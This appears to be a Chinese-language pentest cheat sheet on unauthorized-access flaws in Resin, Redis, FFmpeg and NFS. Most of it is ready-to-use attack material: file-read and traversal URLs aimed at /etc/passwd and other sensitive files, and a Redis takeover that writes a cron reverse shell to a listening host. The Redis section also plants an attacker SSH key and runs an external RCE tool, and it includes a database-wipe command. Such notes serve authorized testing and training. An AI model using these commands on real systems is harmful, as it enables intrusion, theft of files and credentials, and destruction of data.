未授权访问漏洞

一、resin

1 任意文件读取

默认下Resin的/webapps目录下/resin-doc中包含有一个扩展war文件,远程攻击者可能利用此漏洞读取Web主目录下的任意文件,包括JSP源码或类文件。

payload

# viewfile任意文件读取
http://localhost/resin-doc/viewfile/?file=index.jsp

# jndi-appconfig inputFile任意文件读取/SSRF
http://localhost/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd

/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=远端服务器(Ceye)/内网IP
# %20任意文件读取, 通过此漏洞可以读取到串口设备的信息以及网站任意目录的文件遍历。
http://www.example.com:8080/[path]/[device].[extension]
http://www.example.com:8080/%20../web-inf
http://www.example.com:8080/%20
http://www.example.com:8080/[path]/%20.xtp

file参数可读任意文件,index.jsp通常是扫描器扫出,无危害,要读到敏感文件,造成敏感文件泄露的危害,定级为中危。若只能读取无敏感信息的样例文件,定级低危或不收。

敏感文件(系统文件)

/etc/passwd
/etc/shadow
shadow和passwd都是存用户密码
WEB-INF/web.xml
Java servlet文件,通过web.xml文件推测应用组件相关类的名字, 然后在src目录下查找代码, 如果没有源代码可以直接下载class文件反编译即可.

/etc/hosts
/opt/nginx/conf/nginx.conf
/etc/sysconfig/network-scripts/ifcfg-eth1
~/.bashrc_history
/root/.bashrc_history
/opt/www/nagios/WEB-INF/nagios.conf
/opt/nagios/etc/hostgroup.cfg

修复:

从系统中删除resin-doc.war文件,不要使用默认的配置文件部署。

2 Resin Windows远程目录遍历漏洞

CVE-2006-1953
受影响版本:

Resin v3.0.18 for Windows
Resin v3.0.17 for Windows

访问C盘根目录及其之下的任意文件。攻击者还可以指定任意盘符

payload

http://victim.com/C:%5C/
http://victim.com/D:%5C/
http://victim.com/E:%5C/
http://victim.com/F:%5C/

Resin viewfile远程文件读取漏洞

针对resin服务的攻击向量整理

二、redis 未授权访问+getshell

原理

redis默认端口6379没有配置账号密码

复现

漏洞靶机需满足两个条件:

  1. 用户以root权限使用redis
  2. redis客户端连接服务端拥有写权限

-p 参数指定端口

查看信息

cd redis-3.2.0/src
./redis-cli -h 目标ip
# 查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.63.130:6379>info
# 将变量x的值设为test:
192.168.63.130:6379>set x "test"
# 查看所有键,看x是否写入
192.168.63.130:6379>KEYS *
# 获取redis目录和rdb文件名
>config get dir
>config get dbfilename

攻击方法1,反弹shell:

# 在本地监听端口,虚拟机上监听的话跟目标不是同一个子网,反弹不到
nc -lvnp 7999
# 往x变量写shell,反弹到本地
>set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
# 下面的路径跟文件名要区分windows机器跟linux机器,目录不一样
# 切换到定时任务目录
192.168.63.130:6379> config set dir /var/spool/cron/
OK
# 生成一个名为root的文件
192.168.63.130:6379> config set dbfilename root
OK
# 若能save成功就可以看到监听端口反弹回shell
192.168.63.130:6379> save

攻击方法2,写公钥

# 本地生成公私钥
ssh-keygen -t rsa
cd /root/.ssh
# 将公钥写入1.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")>1.txt
# 写入redis
cat 1.txt | redis-cli -h 192.168.127.182 -x set crack
# 远程登录
redis-cli -h 192.168.127.182
# 查看redis备份路径,更改为ssh公钥存放目录(/root/.ssh)
config get dir
config set dir /root/.ssh
# 设置上传的公钥名为authorized_keys
config set dbfilename authorized_keys
config get dbfilename
# 保存退出
save
# ssh公私钥登录
ssh -i id_rsa [email protected]

测完清理数据,不然会一直弹shell回来

# 删除key
get keyname
del keyname
save

攻击方法3,基于主从复制的RCE,适用4.x/5.x

POC

#下载so文件并编译
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
make
# poc跟so文件放同一个目录
cd src
git clone https://github.com/Ridter/redis-rce.git
# -i 正向连接 -r 反弹
python redis-rce.py -r 目标地址 -L 本地监听地址 -f module.so

监听端口
nc -lvvp 1234

Tips

windows机器默认不会以root权限执行操作,所以一般getshell会失败,但是未授权访问还是存在,能删redis数据库

如果shell没弹回来,检查防火墙开了没,网络通不通

删除命令,慎用!

>flushall

参考

三、FFmpeg任意文件读取

漏洞利用了FFmpeg可以处理HLS播放列表的特性,而播放列表可以引用外部文件。通过在AVI文件中添加自定义的包含本地文件引用的HLS播放列表,可以触发该漏洞并在该文件播放过程中显示本地文件的内容

poc

漏洞发现

可传avi文件的点,上传之后会解析预览

FFmpeg任意文件读取漏洞分析

四、NFS未授权访问

CVE1999-0554

# 查看挂载目录
showmount -e ip
# 取数据
mount ip:/文件路径 本地路径

看获取到的数据,不是敏感数据不算漏洞

你可能感兴趣的:(web安全,web安全,cve,漏洞,环境)